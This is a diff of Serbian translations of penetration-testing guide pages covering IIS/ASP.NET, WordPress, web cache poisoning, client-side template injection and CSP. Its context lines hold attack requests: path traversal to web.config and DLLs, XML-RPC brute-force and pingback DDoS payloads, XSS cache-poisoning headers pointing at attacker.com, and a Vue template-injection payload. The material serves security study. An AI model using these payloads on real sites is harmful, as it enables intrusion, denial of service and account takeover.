@ -63,12 +63,12 @@ Proverite potpuni izveštaj na: [https://blog.mindedsecurity.com/2018/10/from-pa
|
||||
> Iz **preuzetih Dll-ova** takođe je moguće pronaći **nove namespaces** gde treba pokušati da se pristupi i dobije web.config datoteka kako bi se pronašle nove namespaces i assemblyIdentity.\
|
||||
> Takođe, datoteke **connectionstrings.config** i **global.asax** mogu sadržati zanimljive informacije.
|
||||
|
||||
U **.Net MVC aplikacijama**, **web.config** datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na koju aplikacija oslanja putem **"assemblyIdentity"** XML oznaka.
|
||||
U **.Net MVC aplikacijama**, **web.config** datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na kojoj aplikacija zavisi putem **"assemblyIdentity"** XML oznaka.
|
||||
|
||||
### **Istraživanje Binarnih Datoteka**
|
||||
|
||||
Primer pristupa **web.config** datoteci je prikazan u nastavku:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -89,14 +89,14 @@ Datoteke pronađene u korenskom direktorijumu, poput **/global.asax** i **/conne
|
||||
### **Namespaces i Web.Config**
|
||||
|
||||
MVC aplikacije takođe definišu dodatne **web.config datoteke** za specifične namespaces kako bi se izbegle ponavljajuće deklaracije u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge **web.config**:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Preuzimanje DLL-ova**
|
||||
|
||||
Pominjanje prilagođenog imenskog prostora ukazuje na DLL pod nazivom "**WebApplication1**" prisutan u /bin direktorijumu. Nakon toga, prikazana je zahtev za preuzimanje **WebApplication1.dll**:
|
||||
```markup
|
||||
Pominjanje prilagođenog imenskog prostora ukazuje na DLL pod nazivom "**WebApplication1**" prisutan u /bin direktorijumu. Nakon toga, prikazana je molba za preuzimanje **WebApplication1.dll**:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -187,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
Ako vidite grešku poput sledeće:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
To znači da server **nije primio ispravno ime domena** unutar Host zaglavlja.\
|
||||
Da biste pristupili veb stranici, možete pogledati **SSL sertifikat** i možda ćete pronaći ime domena/subdomena tamo. Ako ga nema, možda ćete morati da **brute force VHosts** dok ne pronađete ispravno.
|
||||
@ -209,11 +209,11 @@ Takođe možete koristiti **metasploit**: `use scanner/http/iis_shortname_scanne
|
||||
|
||||
Lepa ideja da **pronađete konačno ime** otkrivenih datoteka je da **pitate LLMs** za opcije kao što je to učinjeno u skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Zaobilaženje osnovne autentifikacije
|
||||
### Obilaženje osnovne autentifikacije
|
||||
|
||||
**Zaobiđite** osnovnu autentifikaciju (**IIS 7.5**) pokušavajući da pristupite: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ili `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**Obiđite** osnovnu autentifikaciju (**IIS 7.5**) pokušavajući da pristupite: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ili `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Možete pokušati da **kombinujete** ovu **ranjivost** i prethodnu da pronađete nove **foldere** i **zaobiđete** autentifikaciju.
|
||||
Možete pokušati da **kombinujete** ovu **ranjivost** i prethodnu da pronađete nove **foldere** i **obiđete** autentifikaciju.
|
||||
|
||||
## ASP.NET Trace.AXD omogućeno debagovanje
|
||||
|
||||
@ -237,9 +237,9 @@ ASPXAUTH koristi sledeće informacije:
|
||||
- **`decryptionKey`** (string): heksadecimalno kodirani ključ koji se koristi za dekripciju.
|
||||
|
||||
Međutim, neki ljudi će koristiti **podrazumevane vrednosti** ovih parametara i koristiće kao **kolačić email korisnika**. Stoga, ako možete pronaći veb sajt koji koristi **istu platformu** koja koristi ASPXAUTH kolačić i **napravite korisnika sa emailom korisnika kojeg želite da imitirate** na serveru pod napadom, možda ćete moći da **koristite kolačić sa drugog servera na prvom** i imitirate korisnika.\
|
||||
Ovaj napad je uspeo u ovom [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
Ovaj napad je uspeo u ovom [**izveštaju**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS Zaobilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## IIS Obilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Potpuni izveštaj ovde](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Greška u kodu **nije pravilno proverila lozinku koju je dao korisnik**, tako da će napadač čija **hash lozinka odgovara ključu** koji je već u **kešu** moći da se prijavi kao taj korisnik.
|
||||
```python
|
||||
|
@ -5,18 +5,18 @@
|
||||
## Osnovne informacije
|
||||
|
||||
- **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Datoteke tema se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Još jedna korisna adresa može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- U **wp-config.php** možete pronaći lozinku za root korisnika baze podataka.
|
||||
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
||||
- Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Glavne WordPress datoteke**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
|
||||
- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja novog WordPress sajta.
|
||||
- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja nove WordPress stranice.
|
||||
- Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
@ -42,7 +42,7 @@
|
||||
|
||||
## **Pasivna enumeracija**
|
||||
|
||||
### **Dobijanje verzije WordPress-a**
|
||||
### **Dobijanje WordPress verzije**
|
||||
|
||||
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
||||
|
||||
@ -77,9 +77,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Aktivna enumeracija
|
||||
|
||||
### Plugin-i i Teme
|
||||
### Pluginovi i teme
|
||||
|
||||
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste otkrili sve njih, biće potrebno da **aktivno Brute Force-ujete listu Plugin-a i Tema** (na sreću, postoje automatski alati koji sadrže ove liste).
|
||||
Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće potrebno da **aktivno Brute Force-ujete listu Pluginova i tema** (na sreću, postoje automatski alati koji sadrže ove liste).
|
||||
|
||||
### Korisnici
|
||||
|
||||
@ -101,7 +101,7 @@ Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. *
|
||||
|
||||
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||||
|
||||
- **Enumeracija korisničkih imena prilikom prijave**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime postojeće ili ne**.
|
||||
- **Enumeracija korisničkog imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -110,7 +110,7 @@ Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force napad na kredencijal
|
||||
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljite ovaj zahtev:
|
||||
|
||||
**Proveri**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
<params></params>
|
||||
@ -121,7 +121,7 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
|
||||
**Bruteforce kredencijali**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
@ -137,7 +137,7 @@ Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 tr
|
||||
.png>)
|
||||
|
||||
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```markup
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
@ -178,7 +178,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
|
||||
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
|
||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params><param>
|
||||
@ -191,10 +191,10 @@ Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pri
|
||||
|
||||
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
|
||||
|
||||
Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS.
|
||||
Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params>
|
||||
@ -209,7 +209,7 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau
|
||||
|
||||
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
|
||||
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
|
||||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).
|
||||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
|
||||
|
||||
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
|
||||
|
||||
@ -244,7 +244,7 @@ return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modifikovanje php iz teme koja se koristi (potrebne su admin kredencijali)**
|
||||
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
|
||||
|
||||
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
||||
|
||||
@ -336,7 +336,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od svoje uloge).
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
|
||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
||||
```php
|
||||
@ -366,7 +366,7 @@ $this->namespace, '/get/', array(
|
||||
|
||||
- **Direktan pristup php datoteci**
|
||||
|
||||
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće podložna eksploataciji od strane bilo kog korisnika.
|
||||
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće podložna eksploataciji od strane bilo kog korisnika.
|
||||
|
||||
## WordPress zaštita
|
||||
|
||||
|
@ -11,13 +11,13 @@
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
Cache poisoning je usmeren na manipulaciju kešom na strani klijenta kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.
|
||||
Cache poisoning ima za cilj manipulaciju kešom na klijentskoj strani kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.
|
||||
|
||||
Izvršenje napada cache poisoning uključuje nekoliko koraka:
|
||||
|
||||
1. **Identifikacija neključenih ulaza**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
|
||||
2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču.
|
||||
3. **Osiguranje da je kontaminirani odgovor keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor.
|
||||
3. **Osiguranje da je kontaminirani odgovor keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran, primiće kontaminirani odgovor.
|
||||
|
||||
### Otkriće: Proverite HTTP zaglavlja
|
||||
|
||||
@ -38,7 +38,7 @@ Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**,
|
||||
### Otkriće: Identifikujte i procenite neključne ulaze
|
||||
|
||||
Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle:
|
||||
```markup
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Izazivanje štetnog odgovora sa back-end servera
|
||||
@ -64,7 +64,7 @@ Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od
|
||||
|
||||
Heder poput `X-Forwarded-For` se odražava u odgovoru bez sanitizacije.\
|
||||
Možete poslati osnovni XSS payload i otrovati keš tako da svako ko pristupi stranici bude XSS-ovan:
|
||||
```markup
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
@ -79,8 +79,8 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima
|
||||
|
||||
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni keš odgovor.
|
||||
```markup
|
||||
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni keš odgovor.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
@ -95,7 +95,7 @@ Proverite:
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Trovanje keša sa prelazom putanje za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Trovanje keša sa prolazom kroz putanju za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do veb servera.
|
||||
|
||||
@ -108,16 +108,16 @@ cache-poisoning-via-url-discrepancies.md
|
||||
### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja veb keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Ponekad će vam biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
|
||||
```markup
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Iskorišćavanje sa ograničenim `Vary` header-om
|
||||
### Iskorišćavanje sa ograničenim `Vary` zaglavljem
|
||||
|
||||
Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj user agent:
|
||||
```markup
|
||||
Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da izvučete User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao ranjivost koju je pronašao James Kettle na Github veb sajtu:
|
||||
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na veb sajtu Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -172,11 +172,11 @@ U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
|
||||
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
|
||||
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa netačnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
@ -209,7 +209,7 @@ Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackeron
|
||||
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\
|
||||
Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili.
|
||||
|
||||
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime type (što se očekuje za _.css_ datoteku).
|
||||
Napomena da bi **cache proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku).
|
||||
|
||||
Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
|
@ -31,11 +31,11 @@ Možete pronaći **ranjivu Vue** implementaciju na [https://vue-client-side-temp
|
||||
Funkcionalni payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
I **izvorni kod** ranjivog primera ovde: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
```html
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
Stvarno dobar post o CSTI u VUE može se naći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
Zaista dobar post o CSTI u VUE može se naći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
### **V3**
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Šta je CSP
|
||||
|
||||
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
|
||||
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
|
||||
|
||||
Implementacija CSP se vrši putem **odgovarajućih header-a** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.
|
||||
|
||||
@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
|
||||
CSP može biti primenjen ili praćen korišćenjem ovih zaglavlja:
|
||||
|
||||
- `Content-Security-Policy`: Primena CSP; pregledač blokira sve prekršaje.
|
||||
- `Content-Security-Policy`: Primorava CSP; pregledač blokira sve prekršaje.
|
||||
- `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.
|
||||
|
||||
### Defining Resources
|
||||
@ -41,30 +41,30 @@ object-src 'none';
|
||||
|
||||
- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove.
|
||||
- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne.
|
||||
- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima.
|
||||
- **child-src**: Precizira dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima.
|
||||
- **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Ograničava URL-ove za okvire.
|
||||
